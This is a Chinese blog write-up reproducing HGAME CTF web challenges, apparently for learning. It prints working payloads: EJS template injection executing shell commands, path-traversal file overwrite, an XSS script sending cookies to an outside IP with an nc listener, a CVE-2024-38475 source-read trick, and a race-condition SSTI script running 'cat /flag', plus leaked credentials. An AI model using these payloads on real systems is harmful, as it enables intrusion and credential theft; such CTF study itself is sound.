Loading

HGAME复现

签到

TEST NC

就是连接nc,用的是wsl

image-20250219191515550

nc之后回车然后ls查找就行

接着cat flag就可以拿到flag了

image-20250219191410061

hgame{yOUR-c4N_c0NN3Ct-tO_tH3-remOtE-ENvirONmENt-tO_gEt-fl@g0}

从这里开始的序章

image-20250219191750307

直接复制就是flag了

hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}

WEB

week1

Level 24 Pacman

image-20250219201327772

image-20250219201312362

前端js小游戏,然后就是看源码(源码还被混淆了),很明显这俩gift要解密

aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==

然后就是栅栏密码,再次解密

image-20250219201816554

image-20250219201855672

hgame{u_4re_pacman_m4ster}

还有个解出来是

image-20250219201959248

image-20250219202036065

hgame{pratice_makes_perfect}

然后发现第一个是真的

Level 47 BandBomb

image-20250219203035276

然后他还给了源码,如下,看不太懂,问了chatgpt

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

概括来说这串代码 就是:

  • 可以通过 /upload 路径上传文件

  • 文件被保存在名为 uploads 的文件夹中

  • 文件会以其原始文件名进行保存

  • 可以通过 /rename 路径请求重命名文件

  • 需要提供旧的文件名和新的文件名

  • 当访问根路径 / 时,服务器会列出 uploads 文件夹中的所有文件,并通过 EJS 渲染模板

因为根据这串源码,可以看出用了EJS渲染模板,没有明确设置渲染的文件路径,所以会默认保存在/app/view/目录下,且直接使用原始的文件名,网站有uploadrename这两个路由,且rename具有覆盖原文件的功能,用户传递的文件名(oldNamenewName)也没有经过充分的验证,所以这题的破题关键就是上传一个名为mortis.ejs的文件,覆盖掉原本的mortis.ejs,之后通过再次访问,重新渲染,得到权限

<%= global.process.mainModule.require('child_process').execSync("env > /app/public/1.txt") %>

<%= %>:这是 EJS 模板中的一个插值符号,表示执行其中的代码,并将结果插入到最终渲染的 HTML 中。<%= ... %> 中的 JavaScript 会被执行,并将结果插入到 HTML 输出中

global.processglobal 是 Node.js 中的一个全局对象,代表全局命名空间。process 是 Node.js 提供的全局对象之一,用来提供与当前进程相关的各种信息和功能,通过 global.process,可以访问到 Node.js 进程对象

mainModule.require('child_process')mainModule 是指 Node.js 启动时的主模块(通常是应用的入口文件)require('child_process') 用来引入 child_process 模块,它提供了用于创建和管理子进程的 API。具体的功能包括执行命令、创建子进程等

execSync("env > /app/public/1.txt")

execSyncchild_process 模块提供的一个方法,用来同步地执行命令。它会阻塞当前线程直到命令执行完成

env 是一个命令行工具,它会打印出当前环境变量。执行 env 命令会输出包括系统环境变量(如 PATHHOME 等)的内容

> /app/public/1.txtenv 命令的输出重定向到文件 /app/public/1.txt

image-20250219225846254

然后访问rename路由,进行重命名操作

{"oldName":"a.ejs","newName":"../views/mortis.ejs"}

这里注意要把enctypeapplication/x-www-form-urlencoded改为application/json,不然会报错的

原因:

  • application/x-www-form-urlencoded

这是表单数据的默认编码方式,用于通过 HTML 表单提交数据,数据会被 URL 编码,空格会被替换为 +,特殊字符会被转义(如 & 转义为 %26),适合小型的数据提交,尤其是表单数据,不适合传递复杂的嵌套数据结构

  • application/json

这是一种更现代的编码方式,适用于处理复杂数据或 API 请求,特别是通过 JavaScript 发送的 HTTP 请求(如 fetchXMLHttpRequest),数据是以 JSON 格式进行传输,支持嵌套结构和各种数据类型(如数组、对象、布尔值等),对于复杂的数据,JSON 更加直观且易于处理,服务器端可以轻松地解析 JSON 数据

image-20250219230303479

然后再访问/static/1.txt,即可看见flag,因为下面这串代码,故路径为此

image-20250219234045568

image-20250219231042427

hgame{@vE-MUJ1C@-HA5_BrOKen_Up-BUT_wE-H4V3_umItakl76}

Level 69 MysteryMessageBoard

image-20250223164809933

打开是登录界面,很明显,用户名是shallot

密码爆破是888888

image-20250223164908396

后面就是留言板,并且存在xss,题目还给了附件(go语言看不懂,扔给ai写了点注释)

package main

import (
    "context"
    "fmt"
    "github.com/chromedp/chromedp"   // 无头浏览器控制
    "github.com/gin-gonic/gin"       // Web框架
    "github.com/gorilla/sessions"    // 会话管理
    "log"
    "net/http"
    "sync"
    "time"
)

// 全局变量
var (
    store = sessions.NewCookieStore([]byte("fake_key")) // 会话存储(密钥硬编码不安全)
    users = map[string]string{                          // 硬编码用户凭证(不安全)
        "shallot": "fake_password",
        "admin":   "fake_password"}
    comments []string                  // 存储用户留言(未持久化)
    flag     = "FLAG{this_is_a_fake_flag}" // 需要保护的敏感数据
    lock     sync.Mutex                // 用于并发控制
)

// 登录处理函数
func loginHandler(c *gin.Context) {
    username := c.PostForm("username")
    password := c.PostForm("password")
    
    // 验证用户凭证
    if storedPassword, ok := users[username]; ok && storedPassword == password {
        session, _ := store.Get(c.Request, "session")
        session.Values["username"] = username
        
        // 会话Cookie配置(存在安全隐患)
        session.Options = &sessions.Options{
            Path:     "/",
            MaxAge:   3600,
            HttpOnly: false, // 允许JS读取Cookie(危险)
            Secure:   false, // 非HTTPS传输(不安全)
        }
        session.Save(c.Request, c.Writer)
        c.String(http.StatusOK, "success")
        return
    }
    log.Printf("Login failed for user: %s\n", username)
    c.String(http.StatusUnauthorized, "error")
}

// 注销处理函数
func logoutHandler(c *gin.Context) {
    session, _ := store.Get(c.Request, "session")
    delete(session.Values, "username")
    session.Save(c.Request, c.Writer)
    c.Redirect(http.StatusFound, "/login")
}

// 主页处理函数(存在XSS漏洞)
func indexHandler(c *gin.Context) {
    session, _ := store.Get(c.Request, "session")
    username, ok := session.Values["username"].(string)
    if !ok {
        c.Redirect(http.StatusFound, "/login")
        return
    }

    // 处理评论提交
    if c.Request.Method == http.MethodPost {
        comment := c.PostForm("comment")
        log.Printf("New comment submitted: %s\n", comment)
        comments = append(comments, comment) // 存储原始用户输入(危险)
    }

    // 生成HTML内容(未转义用户输入导致XSS漏洞)
    htmlContent := fmt.Sprintf(`<html>...</ul>`, username)
    for _, comment := range comments {
        htmlContent += "<li>" + comment + "</li>" // 直接拼接用户输入(高危)
    }
    // ...后续HTML拼接
    c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}

// 管理员入口(触发无头浏览器访问)
func adminHandler(c *gin.Context) {
    // 返回响应给用户
    c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(`...`))
    
    // 启动无头浏览器(模拟管理员查看留言)
    go func() {
        lock.Lock()
        defer lock.Unlock()
        
        // 创建浏览器上下文
        ctx, cancel := chromedp.NewContext(context.Background())
        defer cancel()
        ctx, _ = context.WithTimeout(ctx, 20*time.Second)
        
        // 执行浏览器自动化任务
        if err := chromedp.Run(ctx, myTasks()); err != nil {
            log.Println("Chromedp error:", err)
        }
    }()
}

// 浏览器自动化任务流程
func myTasks() chromedp.Tasks {
    return chromedp.Tasks{
        chromedp.Navigate("/login"),                     // 访问登录页
        chromedp.WaitVisible(`input[name="username"]`),   // 等待元素加载
        chromedp.SendKeys(`input[name="username"]`, "admin"), // 输入用户名
        chromedp.SendKeys(`input[name="password"]`, "fake_password"), // 输入密码
        chromedp.Click(`input[type="submit"]`),           // 提交表单
        chromedp.Navigate("/"),                           // 访问首页(可能触发XSS)
        chromedp.Sleep(5 * time.Second),                   // 等待页面加载
    }
}

// Flag获取接口(需要管理员权限)
func flagHandler(c *gin.Context) {
    session, err := store.Get(c.Request, "session")
    if err != nil {
        c.String(http.StatusInternalServerError, "无法获取会话")
        return
    }
    
    // 验证管理员权限
    username, ok := session.Values["username"].(string)
    if !ok || username != "admin" {
        c.String(http.StatusForbidden, "只有admin才可以访问哦")
        return
    }
    
    c.String(http.StatusOK, flag) // 返回敏感数据
}

func main() {
    r := gin.Default()
    // 路由配置
    r.GET("/login", loginHandler)    // 登录页(GET)
    r.POST("/login", loginHandler)   // 登录请求(POST)
    r.GET("/logout", logoutHandler)  // 注销
    r.GET("/", indexHandler)         // 主页(含留言板)
    r.GET("/admin", adminHandler)    // 触发管理员检查
    r.GET("/flag", flagHandler)      // 获取flag的接口
    
    log.Println("Server started at :8888")
    log.Fatal(r.Run(":8888"))        // 启动服务
}

所以写个外带cookie

<script>
  fetch('http://47.109.18.45:3333?cookie=' + document.cookie);
</script>

服务器开启监听即可

nc -lvp 3333

然后访问/;admin,让admin来看我们的留言,从而拿到他的cookie

image-20250223165514897

session=MTc0MDMwMDE1OXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV81JyRYFSFZIwyuPFOX8lUQdR4zs9-8c_aVBQkG75zlTQ=

cookie拿到了之后访问/flag,然后hackbar改一下cookie即可

image-20250223165714057

Level 25 双面人派对

看wp不知道那个第一步upx怎么弄的(re是一点不会),求助了RE佬,学会了

就是访问第二个页面后会自动下载一个main的文件

这里需要upx自动脱壳(RE师傅说这是最简单的一种)

upx -d main(main是下载的文件的名字,我把main文件和upx.exe放在同一个文件夹下就很方便)

image-20250219204505070

image-20250219204145042

然后就是把upx脱完壳子的这个main文件给他拖到IDA里面(为了这题第一次下)

image-20250219205738889

这样子(不知道为啥要这样,不太会用IDA,然后就是在Ctrl+F底下搜索secret)

image-20250219205511851

就拿到了

image-20250219232501201

 access_key: "minio_admin"'
 secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="

minio不知道是什么,查了一下就是一个开源的对象存储服务器,并且可以通过S3的SDK工具与其进行交互

image-20250223153535632

image-20250223153505038

一直报错,查不了文件,还没找到原因以及解决办法

Level 38475 角落

image-20250223165802337

image-20250223165813206

dirsearch扫目录,

image-20250223170023864

发现robots协议

image-20250223170100157

得到三个目录

image-20250223170129117

拿到源码(找ai写了注释)

# 配置Apache服务器

# 设置/usr/local/apache2/app目录的访问权限
<Directory "/usr/local/apache2/app">
    # 启用目录索引(当没有index文件时显示目录文件列表)
    Options Indexes
    # 禁止覆盖配置(禁用.htaccess文件)
    AllowOverride None
    # 允许所有客户端访问该目录
    Require all granted
</Directory>

# 对特定文件app.py设置访问限制
<Files "/usr/local/apache2/app/app.py">
    # 先处理Allow指令再处理Deny指令(旧版语法)
    Order Allow,Deny
    # 拒绝所有访问该文件
    Deny from all
</Files>

# 启用重写引擎
RewriteEngine On
# 匹配User-Agent以"L1nk/"开头的请求
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
# 将对/admin/路径的请求重写到根目录的同名.html文件,并添加secret参数
# 示例:/admin/test 会被重写到 /test.html?secret=todo
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

# 设置反向代理:将/app/路径的请求转发到本机5000端口
# 适用于将请求代理给Python Flask/Django等后端应用
ProxyPass "/app/" "http://127.0.0.1:5000/"

因为上面的配置中明确禁止直接访问 app.py

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

但通过重写规则构造的路径会被 Apache 视为带查询参数的请求,而非直接请求 app.py 文件,所以Apache 的文件路径解析会忽略 ? 后的部分,认为请求的是 app.py 文件本身。

CVE-2024-38475 漏洞

攻击者可以将 URL 映射到允许服务器提供服务但不能通过任何 URL 有意/直接访问的文件系统位置

在此情况中:

  • 重写规则 RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" 会将请求 /admin/xxx 转换为 /xxx.html

  • 但通过构造成 usr/local/apache2/app/app.py%3f(即 app.py?

    由于文件名中通常不允许包含 ?,Apache 的路径解析会忽略 .html?secret=todo 部分,最终实际访问的是:

    复制

    /usr/local/apache2/app/app.py
    
  • 漏洞允许这种“路径拼接”绕过 <Files> 的限制,直接访问 app.py

image-20250223170827950

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates  # 自定义模板模块,可能包含预定义的模板字符串

app = Flask(__name__)
pwd = os.path.dirname(__file__)  # 获取当前脚本所在目录
show_msg = templates.show_msg    # 从templates模块导入预定义的模板字符串

def readmsg():
    filename = pwd + "/tmp/message.txt"
    if os.path.exists(filename):
        f = open(filename, 'r')
        message = f.read()
        f.close()
        return message
    else:
        return 'No message now.'

@app.route('/index', methods=['GET'])
def index():
    status = request.args.get('status')  # 从URL参数获取状态信息
    if status is None:
        status = ''
    return render_template("index.html", status=status)  # 渲染静态模板

@app.route('/send', methods=['POST'])
def write_message():
    filename = pwd + "/tmp/message.txt"
    message = request.form['message']    # 从POST表单获取用户输入

    f = open(filename, 'w')
    f.write(message)  # 将用户输入写入文件(无过滤)
    f.close()

    return redirect('index?status=Send successfully!!')  # 重定向到首页

@app.route('/read', methods=['GET'])
def read_message():
    message_content = readmsg()
    if "{" not in message_content:  # 简单WAF:检查是否存在大括号
        show = show_msg.replace("{{message}}", message_content)  # 替换模板变量
        return render_template_string(show)  # 渲染动态模板字符串
    return 'waf!!'  # 触发WAF拦截

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

代码会检查 readmsg() 返回的内容是否不含{,如果通过检查,会将 readmsg() 的内容替换到模板的 {{message}} 位置,最终调用 render_template_string(show),如果我们能在 readmsg()检查阶段实际渲染阶段之间,动态修改其返回值(例如从 无{ 变为 有{),就能绕过检查并触发 SSTI,此时readmsg() 的返回值可能在检查时是“干净”的,但在渲染时被篡改为包含恶意模板代码(如 {{7*7}}),所以我们需要在一个请求触发检查后、渲染前的极短时间内,通过另一个请求修改 readmsg() 的内容形成竞争条件

条件竞争原理:

  • 攻击者同时发送正常(无{)和恶意(含SSTI payload)的/send请求。
  • 正常请求可能使用大文件延长写入时间,增加时间窗口。
  • 在服务器处理/read时,第一次检查可能读取正常内容,而第二次读取时文件已被恶意内容覆盖。
import requests
import threading


def send_payload():
    # 发送带有模板注入的消息
    payload = "{{g.pop.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}"
    requests.post("http://node1.hgame.vidar.club:32380/app/send", data={"message": payload})


def read_message():
    # 尝试读取消息
    a = requests.get("http://node1.hgame.vidar.club:32380/app/read")
    print(a.text)


# 创建多线程发送请求,利用竞争条件绕过WAF检查
threads = []
for i in range(10):
    t1 = threading.Thread(target=send_payload)
    t2 = threading.Thread(target=read_message)
    threads.append(t1)
    threads.append(t2)
    t1.start()
    t2.start()

image-20250223181012465

posted @ 2025-04-15 02:39  A5trid  阅读(47)  评论(0)    收藏  举报

Tomorrow is another day!